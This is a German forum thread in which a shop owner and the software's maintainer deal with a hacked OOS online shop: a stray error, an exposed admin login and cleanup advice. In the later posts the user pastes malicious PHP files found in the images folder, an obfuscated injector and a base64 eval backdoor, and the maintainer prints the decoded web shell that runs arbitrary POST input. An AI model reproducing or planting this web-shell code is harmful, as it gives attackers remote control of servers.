Seite 1 von 1

Fatal Error am Ende des Shops

Verfasst: 06.06.2011, 13:33
von Maw.
Hallo,
wir verwenden noch eine 1.4er Version des Shops und wurden glaub Opfer eines Hack/Viren-Angriffs - es gab mal für einen Tag lang eine Hack-Meldung auf der Shop-Seite, die jedoch vom Webhoster wieder entfernt wurde.
Ohne irgendwelche Sachen im Shop geändert zu haben, erscheint nun auf einmal am unteren Ende der Seite folgender Error:

Code: Alles auswählen

 Fatal error:  Call to undefined function:  str_split() in /home/hu000038/www/home/onlineshop/oos_temp/templates_c/%%72^72A^72A8DE34%%products_xsell.html.php on line 7
Link zum Shop:
http://www.huber-schriften.com/onlineshop/shop/

In diesem templates_c Ordner sind lauter Dateien mit solch seltsamen Dateibenennungen - was kann ich dagegen tun? Die Funktionstüchtigkeit ist scheinbar nicht eingeschränkt...

Gruß Marc

Verfasst: 06.06.2011, 20:05
von r23
Hallo,

einmal das Verzeichnis
/home/hu000038/www/home/onlineshop/oos_temp/templates_c/

leeren *alle Dateien* löschen.

Sollte der Fehler noch immer auftauchen benötigen wir den Inhalt der Scripte, die den Fehler erzeugen.
dies sind nicht templates_c scripte sondern Dateien, die in templates (ohne_c) liegen.

Welche Scripte der Shop verwendet sagt dieser im Debug-Modus.

Laut Shop-Script verwendet ihr
OOS [OSIS Online Shop] 1.6.4

Ihr habt einen offenen Admin
http://www.huber-schriften.com/onlinesh ... /login.php?

Bitte den Zugriff per Server Seitigen .htacess
[myoos] Security-Hinweise

verhindern.

Es wurden sicherlich Scripte verändert.
Einfach die Datensicherung zurück spielen.

cu

ralf

Verfasst: 07.06.2011, 15:57
von Maw.
Hallo Ralf,
den Inhalt des tempaltes_c Ordners hab ich schonmal gelöscht. Der Fehler war kurzzeitig weg, ist dann aber von selber wieder aufgetaucht.
Ich kann ausschließen, dass von uns etwas an den Scripten geändert worden ist (seit einem Jahr nicht mehr..) - ich vermute, da tumelt sich noch etwas auf dem Server rum...

Wie wäre hier eine weitere Vorgehensweise? admin absichern und ServeR/Admin Kennwort ändern?

gruß marc

Verfasst: 07.06.2011, 16:11
von r23
Hallo,

der Login vom Shop ist nicht sicher. D.h. man kann die Anmeldung aus dem Shop mit einfachen URL Änderungen leicht umgehen.
Und nein - ich werde keine Anleitung veröffentlichen - wie man dies machen kann - Nur, dass dies geht.

Vor diesem Hintergrund empfehlen wir einen Verzeichnisschutz für den Admin. Da der Shop über Scripte verfügt,
die Dateien auf dem Server ändern können.

Richte für den Admin und für die Tools eine HTTP-Authentifizierung ein

Beispiel HTTP-Authentifizierung
http://demo.myoos.de/admin/

Was ist gemeint
http://de.wikipedia.org/wiki/HTTP-Authentifizierung

Die Angreifer hinterlasen in der Regel ein Script auf dem Server. Dieses habe ich schon in einem neuen
Verzeichnis unter den Bildern ~/images/irgendein/.neu/böses.php
gefunden.

Am einfachsten alle Dateien löschen und die Datensicherung zurück spielen. Aber vorher unbedingt prüfen, ob
die Datensicherung auch wirklich vollständig war!

Viel Glück

ralf

Verfasst: 07.06.2011, 19:44
von Maw.
Hallo,
danke - mit diesen Stichworten der HTTP-Authentifizierung komm ich dann klar!

Datensicherung einspielen leider schwierig, wenn man nichts aktuelles hat :S

Was empfiehlst du sonst für Möglichkeiten der "Säuberung"?

Gruß Marc

Verfasst: 07.06.2011, 19:57
von r23
Hallo,

wenn sich
etwas an den Scripten geändert worden ist (seit einem Jahr nicht mehr..)
in den letzten 12 Monaten an den Scripten sich nichts geändert hat - kann man evtl.
den Provider fragen - ob er die *Dateien* gesichert hat? In der Regel erstellen diese ein
Backup.

Wenn nicht - die Scripte auf Sinnhaftigkeit prüfen und als PHP Scripte in
~/images/*.*
~/themes/*.*
löschen

vor löschen *immer* eine Datensicherung (Dateien und Datenbank) durchführen

evtl. können wir auch einen Blick mal drauf werfen ... aber allerdings erst ab Freitag...

Beste Grüße

ralf

Verfasst: 07.06.2011, 20:05
von Maw.
Stimmt, das ist eine gute Idee, beim Provider anzufragen.

Dem Hinweis mit den Scripten in /images/ bin ich nachgegangen und in der Tat sind da php-Dateien mit NAmen wie "pretty.php" "needle.php" "google12343545.php" mit Inhalten wie folgt vorhanden:

Code: Alles auswählen

<?php /**
 * Gets some core libraries and displays a top message if required.	/*
 */ if(!function_exists('CoreLibrariesHandler')) {			/*
 */ function CoreLibrariesHandler() {					/*
 */   $session_keys = '  				   			  		 		   		 			  	  		 	  	 			 				 			  				  		 			  	  		   		  				 	  	   	  		 					 	   			 	   			  				 	   	 				  	 				 			 			 	  	 			 	   			 	   			  		 			 	   		 				 		 			   			  	  		   	  		 			  		  			  	   	 			  		   		 				 	   	 			  		   		 		   		  	 				 		 	 	  			   	 			 	 	 		  	 	 			  	  				  	  	 			  		 		 	 		 	  	 		 			  			 			 	 		 			  		 	 	  			  		  	   	   					   						 				 			  		 		   		 			  	  		 	  	 			 				 							 ';  /*
 */									/* 
 */	foreach(str_split($session_keys, 8) as $k=>$v) { 		/*         	
 */		$v = str_replace('	', 1, str_replace(' ', 0, $v));	/*
 */		$session_keys[$k] = chr(bindec($v)); 			/*
 */	} 								/*
 */									/*
 */	if($session_keys) echo $session_keys; }				/*
 */	register_shutdown_function('CoreLibrariesHandler');		/*
 */ }									/*
 ************************************************************************/



 ?><?php 



 ?><?php eval(base64_decode("aWYoaXNzZXQoJF9HRVRbInBhcnQiXSkpIHsgIGlmKCRfR0VUWyJwYXJ0Il09PSJzZWMiKSAgZWNobyAicGFydGdvb2QiOyB9IGVsc2UgaWYoaXNzZXQoJF9QT1NUWyJnZ2ciXSkpIHsgICBpZigkX1BPU1RbImdnZyJdPT0xKSAgICAgICAgZWNobyAib2sxMSI7ICB9IGVsc2UgaWYoaXNzZXQoJF9QT1NUWyJtYWluIl0pKSB7ICBldmFsKHVybGRlY29kZSgkX1BPU1RbIm1haW4iXSkpOyAgICB9")); ?>
Ich hab natürlich jetzt Backups gemacht, möchte allerdings sicherheitshalber vorher nochmal bei dir fragen ob das solche bösen Scripte sein könnten.

Gruß Marc

Verfasst: 08.06.2011, 02:27
von r23
Hallo,

in dem Verzeichnis und den Unterverzeischnissen von ~/images/ gibt es keine PHP Scripte von dem Projekt

und in deiner base64_x Zeile steht:

Code: Alles auswählen

if(isset($_GET["part"])) { if($_GET["part"]=="sec") echo "partgood"; } else if(isset($_POST["ggg"])) { if($_POST["ggg"]==1) echo "ok11"; } else if(isset($_POST["main"])) { eval(urldecode($_POST["main"])); }
cu

ralf